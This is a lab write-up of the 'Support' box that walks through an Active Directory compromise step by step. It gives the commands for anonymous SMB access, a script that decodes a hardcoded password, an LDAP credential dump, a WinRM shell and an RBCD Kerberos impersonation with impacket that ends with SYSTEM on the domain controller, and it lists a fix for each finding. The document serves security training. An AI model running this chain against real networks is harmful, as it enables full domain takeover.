Support
Summary
I used an unauthenticated SMB guest session to download a custom .NET support tool from a world-readable internal share. Static reverse engineering of that binary recovered an obfuscated LDAP service-account password compiled into the code.
Those credentials were used to query Active Directory over LDAP, where the plaintext password for a second account ('support') had been stored in that user's 'info' field — readable by any authenticated domain user. Logging in as 'support' via WinRM gave an interactive shell on the Domain Controller.
Active Directory ACL enumeration then revealed that the 'support' account — through its 'Shared Support Accounts' group membership — held GenericAll (full control) over the DC computer object. That misconfigured permission was weaponised via a Resource-Based Constrained Delegation attack to forge a Kerberos service ticket impersonating the Domain Administrator, yielding complete control of the environment.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for ldap>"
export PASSWORD3="<the-password-you-recovered, for support>"
export PASSWORD4="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 2
Map the DC IP to its DNS names for tool compatibility.
$ echo "$TARGET dc.support.htb support.htb" | sudo tee -a /etc/hostsService/version scan. Key findings: WinRM on 5985, LDAP/Kerberos confirming a DC, SMB on 445.
$ nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 --open -oA support_nmap $TARGETExact commands 3
Confirm null-session access and list readable shares.
$ nxc smb $TARGET -u '' -p '' --sharesRetrieve the application archive anonymously.
$ smbclient //$TARGET/support-tools -U '' -N -c 'get UserInfo.exe.zip'Extract the ZIP to expose the .NET assembly.
$ unzip UserInfo.exe.zip -d userinfo/FixDisable SMB guest/null sessions and restrict the support-tools shareHigh
Exact commands 2
Open in ILSpy (or dnSpy); navigate to the Protected class to read the enc_password string and the XOR key.
$ ilspy userinfo/UserInfo.exeReplicate the XOR decode to recover the LDAP password without running the binary.
$ python3 -c "
import base64
enc = '$PASSWORD'
key = b'$KEY'
raw = base64.b64decode(enc)
print(''.join(chr(b ^ key[i % len(key)]) for i, b in enumerate(raw)))
"FixRemove hardcoded credentials from application binaries and use a secrets managerCritical
Exact commands 2
Dump all user accounts and their info/description fields using the extracted bind credential.
$ ldapsearch -x -H ldap://$TARGET -D 'ldap@support.htb' -w "$PASSWORD2" -b 'DC=support,DC=htb' '(objectClass=user)' sAMAccountName infoAlternative: netexec LDAP user dump — look for populated description/info columns.
$ nxc ldap $TARGET -u ldap -p "$PASSWORD2" -d support.htb --usersFixRemove plaintext passwords from Active Directory user and computer object attributesCritical
Exact commands 3
Confirm WinRM access before opening a shell.
$ nxc winrm $TARGET -u support -p "$PASSWORD3" -d support.htbOpen an interactive WinRM shell as support.
$ evil-winrm -i $TARGET -u support -p "$PASSWORD3"Read the user flag. Value: <user.txt>
$ type C:\Users\support\Desktop\user.txtExact commands 2
Collect BloodHound data from my machine. In the UI, mark support as Owned and run 'Shortest Paths to Domain Admins' to surface the GenericAll edge.
$ bloodhound-python -u support -p "$PASSWORD3" -d support.htb -ns $TARGET -c all --zipPowerView one-liner from within the WinRM shell to confirm the ACE directly.
$ Get-DomainObjectAcl -Identity 'DC$' -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' } | Select-Object SecurityIdentifier,ActiveDirectoryRightsFixRemove GenericAll from the Shared Support Accounts group over the DC computer object and reduce MachineAccountQuotaCritical
Exact commands 4
Create a fake domain computer account controlled by me.
$ impacket-addcomputer support.htb/support:"$PASSWORD3" -computer-name 'ATTACKERPC$' -computer-pass "$PASSWORD4" -dc-ip $TARGETWrite the RBCD attribute on DC$ to allow ATTACKERPC$ to act on behalf of any user toward the DC.
$ impacket-rbcd -action write -delegate-to 'DC$' -delegate-from 'ATTACKERPC$' -dc-ip $TARGET "support.htb/support:$PASSWORD3"Invoke S4U2Self + S4U2Proxy to forge a Kerberos service ticket granting ATTACKERPC$ access to DC's CIFS as Administrator.
$ impacket-getST -spn 'cifs/dc.support.htb' -impersonate Administrator -dc-ip $TARGET "support.htb/ATTACKERPC$:$PASSWORD4"Pass the forged Kerberos ticket to wmiexec; executes as SYSTEM on the DC. Root flag value: <root.txt>
$ cd /tmp/support_htb && KRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache' impacket-wmiexec -k -no-pass -dc-ip $TARGET -target-ip $TARGET support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 04:12:32Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |